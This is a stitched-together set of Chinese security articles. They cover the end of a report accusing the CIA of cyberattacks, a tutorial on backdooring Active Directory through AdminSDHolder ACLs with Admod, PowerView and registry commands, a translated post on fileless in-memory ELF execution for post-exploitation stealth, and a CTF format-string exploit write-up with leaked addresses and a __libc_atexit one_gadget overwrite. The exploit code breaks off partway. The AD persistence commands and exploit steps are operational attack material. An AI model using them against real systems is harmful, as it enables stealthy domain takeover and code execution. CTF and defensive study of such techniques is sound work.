美国中央情报局的黑客攻击和网络间谍活动目标涉及俄罗斯、伊朗、中国、日本、韩国等世界各国政府、政党、非政府组织、国际组织和重要军事目标，各国政要、公众人物、社会名人和技术专家，教育、科研、通讯、医疗机构，大量窃取受害国的秘密信息，大量获取受害国重要信息基础设施的控制权，大量掌握世界各国的公民个人隐私，服务于美国维持霸权地位。
（三）全球互联网和世界各地的重要信息基础设施已经成为美国情治部门的“情报站”
从近期中国网络安全机构揭露的美国国家安全局（NSA）“电幕行动”“APT-C-40”“NOPEN”“量子”网络攻击武器和此次曝光的美国中央情报局（CIA）“蜂巢”武器平台的技术细节分析，现有国际互联网的骨干网设备和世界各地的重要信息，基础设施中（服务器、交换设备、传输设备和上网终端），只要包含美国互联网公司提供的硬件、操作系统和应用软件，就极有可能包含零日（0day）或各类后门程序（Backdoor），就极有可能成为美国情治机构的攻击窃密目标，全球互联网上的全部活动、存储的全部数据都会“如实”展现在美国情治机构面前，成为其对全球目标实施攻击破坏的“把柄”和“素材”。
（四）美国情治部门的网络攻击武器已经实现人工智能化
蜂巢平台典型的美国军工产品，模块化、标准化程度高，扩展性好，表明美国已实现网络武器的“产学研一体化”。这些武器可根据目标网络的硬件、软件配置和存在后门、漏洞情况自动发起网络攻击，并依托人工智能技术自动提高权限、自动窃密、自动隐藏痕迹、自动回传数据，实现对攻击目标的全自动控制。
国家计算机病毒应急处理中心提醒广大互联网用户，美国情治部门的网络攻击是迫在眉睫的现实威胁，针对带有美国“基因”的计算机软硬设备的攻击窃密如影随形。避免遭受美国黑客攻击的权宜之计是采用自主可控的国产化设备。 | 社区文章 |
# AdminSDHolder
本次安全科普为大家介绍AD域中的AdminSDHolder，与AdminSDHolder相关的特性频繁被攻击者利用来进行留后门等操作，在检查AD域安全时AdminSDHolder相关属性也是排查的重点。
## 0x00 域内受保护的用户和组
在Active Directory中，一些高权限的用户和组被视为受保护的对象
通常对于受保护的用户和组，权限的设置和修改是由一个自动过程来完成的，这样才能保证在对象移动到其他目录时，对象的权限也始终保持一致
不同系统版本的域控制器上受保护的用户和组也不同，具体可以参考微软文档：[APPENDIX-C--PROTECTED-ACCOUNTS-AND-GROUPS-IN-ACTIVE-DIRECTORY](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory)
也可以使用adfind来查询
Adfind.exe -f "&(objectcategory=group)(admincount=1)" -dn
Adfind.exe -f "&(objectcategory=user)(admincount=1)" -dn
### 1\. AdminSDHolder
AdminSDHolder对象的目的是为域内受保护的用户和组提供权限的“模板”，其在LDAP上的路径为：`CN=AdminSDHolder,CN=System,DC=<domain_component>,DC=<domain_component>`
AdminSDHolder由Domain Admins组拥有，默认情况下，EA可以对任何域的AdminSDHolder对象进行更改，域的Domain
Admins和Administrators组也可以进行更改
尽管AdminSDHolder的默认所有者是域的Domain Admins组，但是Administrators或Enterprise
Admins的成员可以获取该对象的所有权
### 2\. SDProp
SDProp是一个进程，该进程每60分钟（默认情况下）在包含域的PDC模拟器（PDCE）的域控制器上运行
SDProp将域的AdminSDHolder对象的权限与域中受保护的帐户和组的权限进行比较。如果任何受保护帐户和组的权限与AdminSDHolder对象的权限不匹配，则将受保护帐户和组的权限重置为与域的AdminSDHolder对象的权限匹配
## 0x01 利用
既然默认每60分钟SDProp会将受保护帐户和组的权限重置为与域的AdminSDHolder对象的权限匹配，那么我们完全可以对AdminSDHolder添加ACL来留后门
利用权限：
1. 对AdminSDHolder有`WriteDACL`权限的账户
### 1\. 添加ACL
#### (1) Admod
.\Admod.exe -b "CN=AdminSDHolder,CN=System,DC=testad,DC=local" "SD##ntsecuritydescriptor::{GETSD}{+D=(A;;GA;;;testad\test1)}"
#### (2) PowerView
这里有一个坑点，PowerView在github的主分支中很多功能是没有的，所以推荐使用Dev分支
[PowerView_dev](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
Import-Module .\PowerView.ps1
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName test1 -Verbose -Rights All
### 2\. 执行SDProp
除了等待默认的60分钟后SDProp自动执行，我们还可以用以下两种方法来更快速的执行SDProp
#### (1) 修改默认时间
如果需要修改60min的执行时间间隔，只需要在`HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters`中添加或修改`AdminSDProtectFrequency`的值
该值的范围是从60到7200，单位为秒，键类型为DWORD
可以直接使用命令行更改：
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 600
如果需要恢复为默认的60min，则可以在注册表中删除`AdminSDProtectFrequency`这一项
#### (2) 手动执行
首先启动 **Ldp.exe** ，然后选择菜单栏中 **“连接”** \---> **“连接”**
输入拥有PDC模拟器（PDCE）角色的DC的FQDN或IP：
选择菜单栏菜单栏中 **“连接”** \---> **“绑定”**
在 **绑定** 窗口中输入有权修改rootDSE对象的用户帐户的凭据，或者直接已当前已登录的用户身份绑定
选择菜单栏菜单栏中 **“浏览”** \---> **“修改”**
在修改窗口这里针对不同版本的域控制器有不同的情况：
* 域控为Windows Server 2008: 将 **“DN”** 字段留空。在 **“编辑条目属性”** 字段中，输入 **FixUpInheritance** ，在 **“值”** 字段中，输入 **Yes** 。单击 **输入** 填充条目列表
* 域控为Windows Server 2008 R2或Windows Server 2012: 将 **“DN”** 字段留空。在 **“编辑条目属性”** 字段中，输入 **RunProtectAdminGroupsTask** ，在 **“值”** 字段中，输入 **1** 。单击 **输入** 填充条目列表
最后在 **“修改”** 对话框中点击 **“运行”** 即可
### 3\. 添加特权
SDProp执行后，这些受保护的用户和组就被同步与AdminSDHolder一样的ACL
现在我们已经对这些特权组/用户拥有FC权限了，以添加域管组成员为例：
## 0x02 防御与检测
该攻击手法的核心点在于需要修改AdminSDHolder的ACL，因此我们只需要检测对AdminSDHolder的ACL的修改行为即可，可以通过5136日志来监控 | 社区文章 |
原文：<https://blog.rapid7.com/2019/01/03/santas-elfs-running-linux-executables-without-execve/>
这篇博客是年度的[12 Days of HaXmas](https://blog.rapid7.com/tag/haxmas/)系列博客中的第11篇。
Executable and Linkable Format ( ELF )
是许多类Unix操作系统（如Linux，大多数现代BSD和Solaris）的基础。ELF文件有许多技巧，比如我们在[our *nix Meterpreter
implementation](https://www.slideshare.net/BrentCook2/static-pie-how-and-why-metasploits-new-posix-payload-mettle)中使用的那些，但那些技巧需要使用我们的特殊 toolchain
或带有`-static-pie`标志的GCC
8+来构建每个可执行文件。如果环境不同怎么办呢？内核加载和运行代码时并不需要磁盘上的文件，下面我们看下如何在没有execve的情况下运行Linux可执行文件。
## 手工制作镜像
也许最有效的可执行格式技巧是`反射加载(reflective loading)`。
`反射加载`是后渗透阶段的一种重要技术，用于逃避检测和在受限制的环境中执行复杂命令。 它通常有三个广泛的步骤：
1. 使代码执行（如：利用漏洞或网络钓鱼）
2. 从某个地方抓取自己的代码
3. 使操作系统运行你自己的代码（但是不像普通进程那样加载）
最后一步是反射加载的关键。 环境限制越来越多，普通的进程启动方式目标非常明显。
传统的防病毒会扫描磁盘上的文件，新进程启动时会进行代码签名完整性检查，行为监控会不断检查以确保进程没有恶意行为。
背后的思想是，如果攻击者无法运行任何程序，他们就无法做任何事情，系统也是安全的。这不完全正确，阻挡常见的攻击路径只是让事情变得更加困难。
特别是，对于使用可移植可执行（PE）格式的Windows环境，我们已经看到过很多关于这个主题的研究，因为Windows使用广泛，而且操作系统中内置了非常有用的反射构造模块。
事实上，它具有这类工作的黄金标准API：`CreateRemoteThread`及其他相关API，这不仅仅允许攻击者加载代码，而且可以将代码注入其他正在运行的进程。
尽管缺乏如Windows中的`CreateRemoteThread`这样有趣的反射注入API，最近几年我们依然看到了一些有趣的研究，通过非常规的方法来使以开发者中心的Linux特性为安全所用。比如这是一个很好的命令行途径的案例：<https://blog.sektor7.net/#!res/2018/pure-in-memory-linux.md。以及其他一些技术，这些技术需要工具中所带的辅助文件，如：https://github.com/gaffe23/linux-inject。更现代的技术是可以利用一些新的syscalls从一个辅助二进制或者脚本语言来执行代码：https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html。>
Linux上的这些方法可以分为五类：
**· 写入临时文件：** 这与典型代码没有太大区别，但它不会留下磁盘成品文件。
**· 注入`ptrace`：**这需要一些精巧的控制，比如经典的`process-hopping`。
**· 自修改可执行文件：**`dd`是经典之作，它需要一些比较小的定制shellcode。
**· 脚本语言中集成的FFI：** Python和Ruby都可以，当前技术只能加载shellcode。
**· 创建非文件系统的临时文件：** 这使用2014年添加的系统调用，因此它即将广泛使用。
## 严格的工作条件
很少有人密切关注他们的Linux机箱（如果你这样做了，那么恭喜！），但这些技术风格除了上面提到的各自的技术挑战外，还有安全/操作方面的考虑。
如果您处于安全对抗中的防守方，可以考虑用以下方式阻止远程攻击者：
### 临时文件
越来越常见的是查找`/tmp`和`/dev/shm`挂载了`noexec`（即，该树中没有文件可以执行），特别是在移动和嵌入式系统上。
说到嵌入式系统，那些嵌入式系统通常也只有只读的持久文件存储，所以你甚至无法回退来阻止别人查看磁盘。
### 自修改可执行文件和`ptrace`
访问`ptrace`和`/proc/<PID>`中的大多数有趣的自检由`kernel.yama.ptrace_scope`
`sysctl`变量[控制](https://linux-audit.com/protect-ptrace-processes-kernel-yama-ptrace_scope/)。在未用于开发的盒子上，应将其设置至少为2以删除非特权用户的访问权限。
这在许多移动和嵌入式系统上是默认的，而现代桌面/服务器发行版默认至少为1，这降低了它在跨进程中疯狂跳跃的实用性。
此外，它是特定用于Linux，所以没有可爱的BSD shells。
### FFI（Foreign Function Interface）集成
[Ruby](https://ruby-doc.org/stdlib-2.5.0/libdoc/fiddle/rdoc/Fiddle.html)的`fiddle`和[Python](https://docs.python.org/3/library/ctypes.html)的`ctypes`特别灵活，并且很多小东西都可以灵活的像解释型的C语言一样运行。但是，它们没有汇编程序，所以任何使用寄存器或引导到不同可执行文件的细节都需要使用shellcode来完成。
您也永远不知道目标系统会安装哪个版本的环境。
### 非文件系统的临时文件
同样是Linux特有的技巧。我能调用一对新的syscalls，它们组合起来可以绕过任何`noexec`标志（内核4.19.10测试通过）。
第一个系统调用是`memfd_create`（2），在内核3.17版本中添加，它分配一个具有默认权限的新临时文件系统，并在其中创建一个文件，除`/proc`目录，该文件不会显示在其他任何已挂载的文件系统中。第二个系统调用是`execveat`（2），在内核版本3.19中添加。它可以采用文件描述符并将其传递给内核以供执行。缺点是创建的文件可以很容易地通过`find
/proc/*/fd -lname
'/memfd:*'`找到，因为所有的`memfd_create`（2）文件都表示为具有常量前缀的符号链接。这个功能在普通软件中很少使用，我仅找到过一个这种用法的普通程序，那是在2016年被添加到PulseAudio中的。
## 回到过去，一个（Runtime）链接
不过这里有一个很大的瓶颈：要运行其他程序，所有这些技术都使用标准的`execve`（2）（最后一种情况调用的也是相关的`execveat`（2））。定制的SELinux配置文件或syscall审计的存在可以很容易进行阻拦，并且在最近的强制启用SELinux的Android版本中，确实是这样。
还有另一种叫做用户空间exec或`ul_exec`的技术;
然而它模仿了内核在执行`execve`期间是如何初始化进程的，并将控制权移交给运行时链接器：`ld.so`（8）。
这是该领域最早的技术之一，[由grugq开创](https://grugq.github.io/docs/ul_exec.txt)，它因为与以上技术相比较为繁琐而从未被推行过。
针对x86_64有一个[优化和重写的版本](http://www.stratigery.com/userlandexec.html)，但是它实现了自己的标准库，因此很难扩展并且无法在现代的堆溢出保护环境下编译。
Linux的世界与15年前这种技术首次发布时的情况截然不同了。
现在，默认有40多位地址空间和位置独立的可执行文件，将`execve`进程拼凑在一起更为直接。
当然，我们对堆栈地址进行硬编码并不能保证90%以上的可用率，但程序也不再依赖于它的常量，所以我们几乎可以把它放在任何地方并且少用内存地址。
Linux环境现在也比2004年更加普遍、有价值并且受到更受保护，因此在某些情况下，这种努力还是值得的。
### 过程
根据执行方法和环境，模拟`execve`的工作可能有两个要求。 首先，我们需要页面对齐的内存分配以及在填充后使内存可执行的能力。
因为它需要JIT、内置的library加载器`dlopen`（3）以及一些DRM实现，所以很难从系统中完全删除。
然而，SELinux可以限制可执行内存的分配，而一些像Android这样的自包含平台使用这些限制可以很好地控制未经批准的浏览器或DRM库。
接下来，我们要求能够任意跳入所述内存。
例如在C或shellcode中，它确实需要脚本语言中的一个完整的外部函数调用接口（FFI），排除非XS的Perl实现。
[grugq详述](https://grugq.github.io/docs/ul_exec.txt)的过程以一种微妙而有趣的方式发生了改变。
即使开发已经全部完成，但整体的步骤还是一样的。 现代GNU /
Linux用户空间的一个安全特性是它不太关心特定的内存地址，这使我们可以更灵活地实现我们的其他类型的安全特性。内核在辅助向量中传递给Runtime还有更多的[提示](http://man7.org/linux/man-pages/man3/getauxval.3.html)，可以查找到原始数据，但大多数程序在大多数操作系统架构中都可以使用简单的方法。
### 工具
许多工具的没落都是因为过时了，特别是在开源和安全领域。
`execve`模拟器没有其他方法了出现了，大家对两个`ul_exec`的实现也几乎没有兴趣，（据我所知）也很少有这方面的更新。
Linux
Meterpreter的实现目前不支持`execute`命令中常见的[`-m`选项](https://blog.rapid7.com/2012/05/08/eternal-sunshine-of-the-spotless-ram/)，这个选项在Windows上以合法的程序作为幌子，并完全在内存中执行恶意命令。使用这个和一个回退技术或者以上两个技术将为我们提供在内存运行上传的文件的功能，以及一些小窍门。例如：映射额外的合法文件，或在在将控制权交给上传的可执行文件之前更改进程名称，可以完全复制`-m`。一个很好的副作用是，这也将使构建和分发插件更容易，因为它们将不再需要在构建时制作成内存映像。
为了实现这一点，我正在创建一个与我们的Linux
Meterpreter共存的共享链接库`mettle`。它不依赖于任何Meterpreter代码，但默认情况下，它将使用其toolchain进行构建。它是免费的，可以打包成你想要的任何后渗透手法。如果您有任何问题或建议，请查看[pull
request](https://github.com/rapid7/mettle/pull/154)。
这里有一个示例，可以通过`strace`进行跟踪分析。使用该库。
为了减少普通跟踪调试相关输出的干扰，我们只使用`％process`跟踪表达式来仅查看与进程生命周期相关的调用，如`fork`，`execve`和`exit`。
在x86_64上，`％process`表达式还获取了`arch_prctl`系统调用，该调用仅用于x86_64，仅用于设置线程本地存储。
`execve`来自`strace`启动可执行文件，第一对`arch_prctl`调用来自库初始化。直到目标库启动自己的一对`arch_prctl`调用并打印出我们的消息。
$ strace -e trace=%process ./noexec $(which cat) haxmas.txt
execve("./noexec", ["./noexec", "/usr/bin/cat", "haxmas.txt"], 0x7ffdcbdf0bc0 /* 23 vars */) = 0
arch_prctl(0x3001 /* ARCH_??? */, 0x7fffa750dd20) = -1 EINVAL (Invalid argument)
arch_prctl(ARCH_SET_FS, 0x7f17ca7db540) = 0
arch_prctl(0x3001 /* ARCH_??? */, 0x7fffa750dd20) = -1 EINVAL (Invalid argument)
arch_prctl(ARCH_SET_FS, 0x7f17ca7f3540) = 0
Merry, HaXmas!
exit_group(0) = ?
+++ exited with 0 +++
### 结束
有了Mettle的这个新库，我们希望提供一种长期，隐秘的方法，可以在攻陷的Linux机器上可靠地加载程序。 如果您有任何问题或建议，请查看我的[pull
request](https://github.com/rapid7/mettle/pull/154)的过程，我们*
nix的[payload](https://github.com/rapid7/mettle)，或在[Slack添上加我们](https://join.slack.com/t/metasploit/shared_invite/enQtMzg5NDk5MDYzNTM3LWQ5Y2Q2ODIyMTM3ZTA5OGE5OTA3NDk1OGY0ZDFiYjM1NjhjZjllN2E3OWQ4YTRmMTU3NmRkMmQ2ZDY3NDYzMWM)。 | 社区文章 |
## 0x01 前言
`printf`是TokyoWesterns CTF
2019一道格式化漏洞利用题，有意思的是，题目给的二进制程序自己实现了一个`printf`函数。一般，在调用完main函数以后，程序call
`__libc_start_main`，继续调用`exit`退出。若能够覆盖`exit`中的函数指针，便可在程序退出的时候劫持程序控制流。
## 0x02 加载libc
题目给了3个文件，除了常规的libc还额外给了一个ld.so，ld.so用于装载libc。这里需要用到[patchelf](https://github.com/NixOS/patchelf)这个工具，执行以下命令，将libc和ld.so指向题目所给的文件
patchelf --set-interpreter /root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 printf
patchelf --set-rpath /root/workspace/elf:/libc.so.6 printf
现在printf程序指向了题目所给libc和ld.so
~/workspace/elf # ldd printf
linux-vdso.so.1 => (0x00007ffe09ac1000)
libc.so.6 => /root/workspace/elf/libc.so.6 (0x00007fd7c5dd0000)
/root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fd7c5fbb000)
## 0x03 分析漏洞点
保护全开
[*] '/root/workspace/elf/printf'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: '/root/workspace/elf:/libc.so.6'
查看伪代码，`sub_136E`是程序自己实现的printf函数
_int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rdx
__int64 v4; // rcx
__int64 v5; // r8
__int64 v6; // r9
__int64 v7; // rdx
__int64 v8; // rcx
__int64 v9; // r8
__int64 v10; // r9
const unsigned __int16 **v11; // rax
__int64 v12; // rdx
__int64 v13; // rcx
__int64 v14; // r8
__int64 v15; // r9
__int64 v16; // rdx
__int64 v17; // rcx
__int64 v18; // r8
__int64 v19; // r9
__int64 v20; // rdx
__int64 v21; // rcx
__int64 v22; // r8
__int64 v23; // r9
int i; // [rsp+8h] [rbp-118h]
int v26; // [rsp+Ch] [rbp-114h]
char buf[264]; // [rsp+10h] [rbp-110h]
unsigned __int64 v28; // [rsp+118h] [rbp-8h]
v28 = __readfsqword(0x28u);
sub_130D();
sub_136E((__int64)"What's your name?", (__int64)a2, v3, v4, v5, v6);
v26 = read(0, buf, 0x100uLL);
buf[v26 - 1] = 0;
for ( i = 0; i < v26 - 1; ++i )
{
v11 = __ctype_b_loc();
v7 = (__int64)*v11;
if ( !((*v11)[buf[i]] & 0x4000) )
_exit(1);
}
sub_136E((__int64)"Hi, ", (__int64)buf, v7, v8, v9, v10);
sub_136E((__int64)buf, (__int64)buf, v12, v13, v14, v15);
sub_136E((__int64)"Do you leave a comment?", (__int64)buf, v16, v17, v18, v19);
buf[(signed int)((unsigned __int64)read(0, buf, 0x100uLL) - 1)] = 0;
sub_136E((__int64)buf, (__int64)buf, v20, v21, v22, v23);
return 0LL;
}
测试发现`sub_136E`存在格式化漏洞
~/workspace/elf # ./printf
What's your name?
%lx %lx %lx %lx %lx %lx
Hi,
0 7f730b0db580 7f730b001024 4 7f730b0e0540 0
Do you leave a comment?
%lx %lx %lx %lx %lx %lx
7ffcfcf0ec20 100 7f730b000f81 17 7f730b0e0540 0
利用格式化漏洞分别泄漏出stack地址、canary、libc基址、程序基址
[+] Starting local process './printf': pid 21658
[*] libc.address 0x7f537407a000
[*] stack 0x7ffe1a368fa0
[*] canary 0x5bd36eedc61f6600
[*] proc_base 0x564edfcf0000
`Full RELRO`开启，这里不能写got表，查看libc的`exit.c`源码：
/* Copyright (C) 1991-2019 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<http://www.gnu.org/licenses/>. */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sysdep.h>
#include <libc-lock.h>
#include "exit.h"
#include "set-hooks.h"
DEFINE_HOOK (__libc_atexit, (void))
/* Initialize the flag that indicates exit function processing
is complete. See concurrency notes in stdlib/exit.h where
__exit_funcs_lock is declared. */
bool __exit_funcs_done = false;
/* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();
/* We do it this way to handle recursive calls to exit () made by
the functions registered with `atexit' and `on_exit'. We call
everyone on the list and use the status value in the last
exit (). */
while (true)
{
struct exit_function_list *cur;
__libc_lock_lock (__exit_funcs_lock);
restart:
cur = *listp;
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
__libc_lock_unlock (__exit_funcs_lock);
break;
}
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (onfct);
#endif
onfct (status, f->func.on.arg);
break;
case ef_at:
atfct = f->func.at;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (atfct);
#endif
atfct ();
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (cxafct);
#endif
cxafct (f->func.cxa.arg, status);
break;
}
/* Re-lock again before looking at global state. */
__libc_lock_lock (__exit_funcs_lock);
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
__libc_lock_unlock (__exit_funcs_lock);
}
if (run_list_atexit)
RUN_HOOK (__libc_atexit, ());
_exit (status);
}
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)
注意到`__libc_atexit`这个函数指针，当程序退出会调用exit函数，最终调用`__libc_atexit`所指向的地址
# RUN_HOOK (__libc_atexit, ());
...
# define DEFINE_HOOK_RUNNER(name, runner, proto, args) \
DEFINE_HOOK (name, proto); \
extern void runner proto; void runner proto { RUN_HOOK (name, args); }
...
## 0x04 Debug
现在问题就在于如何将`one_gadget`写入该地址。向buf随便输入一串字符（我这里输入`one_gadget`的值），在内存检索该值，一共找到两处：
[+] Waiting for debugger: Done
[*] libc.address 0x7f591a884000
[*] stack 0x7ffcf901e290
[*] canary 0xb395c502847a3600
[*] proc_base 0x56346a570000
[*] one_gadget 0x7f591a966383
gef➤ search-pattern 0x7f591a966383
[+] Searching '\x83\x63\x96\x1a\x59\x7f' in memory
[+] In '[stack]'(0x7ffcf8fff000-0x7ffcf9020000), permission=rw- 0x7ffcf901df00 - 0x7ffcf901df18 → "\x83\x63\x96\x1a\x59\x7f[...]"
0x7ffcf901e0a0 - 0x7ffcf901e0b8 → "\x83\x63\x96\x1a\x59\x7f[...]"
gef➤ p/x 0x7ffcf901e0a0-0x7ffcf901df00
$1 = 0x1a0
设定偏移量为0x1000
pl = "%{}x{}".format(4096, p64(one_gadget))
s.ru("comment?")
s.sl(pl)
明显看到`one_gadget`往上了0x1000的偏移量进行写入，由于libc位于stack的上方，通过计算合适的偏移量便可用`one_gadget`覆盖`__libc_atexit`
[+] Waiting for debugger: Done
[*] libc.address 0x7f7142fcd000
[*] stack 0x7ffdb96518f0
[*] canary 0xeec90b90217bf000
[*] proc_base 0x5573ff19b000
[*] one_gadget 0x7f71430af383
gef➤ search-pattern 0x7f71430af383
[+] Searching '\x83\xf3\x0a\x43\x71\x7f' in memory
[+] In '[stack]'(0x7ffdb9632000-0x7ffdb9653000), permission=rw- 0x7ffdb9650570 - 0x7ffdb9650588 → "\x83\xf3\x0a\x43\x71\x7f[...]"
0x7ffdb9651706 - 0x7ffdb965171e → "\x83\xf3\x0a\x43\x71\x7f[...]"
gef➤ p/x 0x7ffdb9651706-0x7ffdb9650570
$1 = 0x1196
当调用完`__libc_start_main`程序准备退出之时，跟进到libc的`exit`函数调用`__libc_atexit`处
───────────────────────────── code:x86:64 ────
0x7f624efde38c shr rax, 0x3
0x7f624efde390 lea r12, [rbx+rax*8+0x8]
0x7f624efde395 nop DWORD PTR [rax]
→ 0x7f624efde398 call QWORD PTR [rbx]
0x7f624efde39a add rbx, 0x8
0x7f624efde39e cmp rbx, r12
0x7f624efde3a1 jne 0x7f624efde398
0x7f624efde3a3 mov edi, ebp
0x7f624efde3a5 call 0x7f624f0788f0 <_exit>
────────────────────────────────────────────────────────────────── arguments (guessed) ────
*[rbx] (
$rdi = 0x00007f624f1af968 → 0x0000000000000000,
$rsi = 0x0000000000000001,
$rdx = 0x0000000000000000,
$rcx = 0x0000000000000000
)
可以在IDA里看到该处的代码
LABEL_42:
if ( v19 )
{
v18 = &off_1E66C8;
if ( &off_1E66C8 < (__int64 (__fastcall **)())&unk_1E66D0 )
{
do
{
(*v18)();
++v18;
}
while ( v18 != &off_1E66C8 + ((unsigned __int64)((char *)&off_1E66C8 + 7 - (char *)&off_1E66C8) >> 3) + 1 );
}
}
exit(status);
}
sub_12BDB0(dword_1EA108);
goto LABEL_42;
查看rbx的值，目标就是将0x7f7adebb46c8地址的值覆盖成one_gadget
─────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x00007f624f17d6c8 → 0x00007f624f079383 → <execvpe+979> mov rsi, rcx
$rcx : 0x0
$rdx : 0x0
$rsp : 0x00007ffd3f489360 → 0x20786c2520786c25 ("%lx %lx "?)
$rbp : 0x0
$rsi : 0x1
$rdi : 0x00007f624f1af968 → 0x0000000000000000
$rip : 0x00007f624efde398 → call QWORD PTR [rbx]
$r8 : 0x2
$r9 : 0x00007f624f183580 → 0x00007f624f183580 → [loop detected]
$r10 : 0x00007ffd3f489224 → 0x0000000000000001
$r11 : 0x2
$r12 : 0x00007f624f17d6d0 → 0x0000000000000000
$r13 : 0x1
$r14 : 0x00007f624f181108 → 0x0000000000000000
$r15 : 0x0
$eflags: [CARRY PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
来算算到达该地址所需要的偏移，这里的`0x9af030ba40`便是偏移量
[+] Waiting for debugger: Done
[*] libc.address 0x7f624ef97000
[*] stack 0x7ffd3f489490
[*] canary 0x3a05dd79a9ba500
[*] proc_base 0x55a3c78fa000
[*] one_gadget 0x7f624f079383
[*] atexit_stack_diff 0x9af030ba40
gef➤ vmmap libc
Start End Offset Perm Path
0x00007f624ef97000 0x00007f624efbc000 0x0000000000000000 r-- /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6
0x00007f624efbc000 0x00007f624f12f000 0x0000000000025000 r-x /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6
0x00007f624f12f000 0x00007f624f178000 0x0000000000198000 r-- /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6
0x00007f624f178000 0x00007f624f17b000 0x00000000001e0000 r-- /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6
0x00007f624f17b000 0x00007f624f17e000 0x00000000001e3000 rw- /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6
gef➤ p/x 0x00007f624f17d6c8-0x00007f624ef97000
$1 = 0x1e66c8
gef➤ p/x 0x7f624efde398-0x00007f624ef97000
$2 = 0x47398
gef➤ p/x 0x7ffd3f489490-(0x00007f624ef97000+0x1e66c8)-0x390
$3 = 0x9af030ba38
gef➤ p/x 0x7ffd3f489490-(0x00007f624ef97000+0x1e66c8)-0x390+8
$4 = 0x9af030ba40
`0x1e66c8`是`__libc_atexit`相对于libc基址的偏移，可以在IDA找到该结构
__libc_atexit:00000000001E66C8 __libc_atexit segment para public 'DATA' use64
__libc_atexit:00000000001E66C8 assume cs:__libc_atexit
__libc_atexit:00000000001E66C8 ;org 1E66C8h
__libc_atexit:00000000001E66C8 off_1E66C8 dq offset fcloseall_0 ; DATA XREF: sub_47170+1FF↑o
__libc_atexit:00000000001E66C8 ; sub_5C960+1BFA↑o ...
__libc_atexit:00000000001E66C8 __libc_atexit ends
`0x390`是栈内地址偏移
[+] Waiting for debugger: Done
[*] libc.address 0x7f2e14154000
[*] stack 0x7ffc707793c0
[*] canary 0x6ad3921cfee82500
[*] proc_base 0x55fcbd744000
gef➤ search-pattern 0x7f2e14236383
[+] Searching '\x83\x63\x23\x14\x2e\x7f' in memory
[+] In '[stack]'(0x7ffc7075a000-0x7ffc7077b000), permission=rw- 0x7ffc70779030 - 0x7ffc70779048 → "\x83\x63\x23\x14\x2e\x7f[...]"
0x7ffc707791d0 - 0x7ffc707791e8 → "\x83\x63\x23\x14\x2e\x7f[...]"
gef➤ p/x 0x7ffc707793c0-0x7ffc70779030
$1 = 0x390
覆盖`__libc_atexit`为`one_gadget`地址
## 0x05 get shell~
完整的EXP
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os, sys
# Setting at first
DEBUG = 3
LIBCV = 2.19
context.arch = "amd64"
#context.log_level = "debug"
elf = ELF("./printf",checksec=False)
# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.ra = tube.recvall
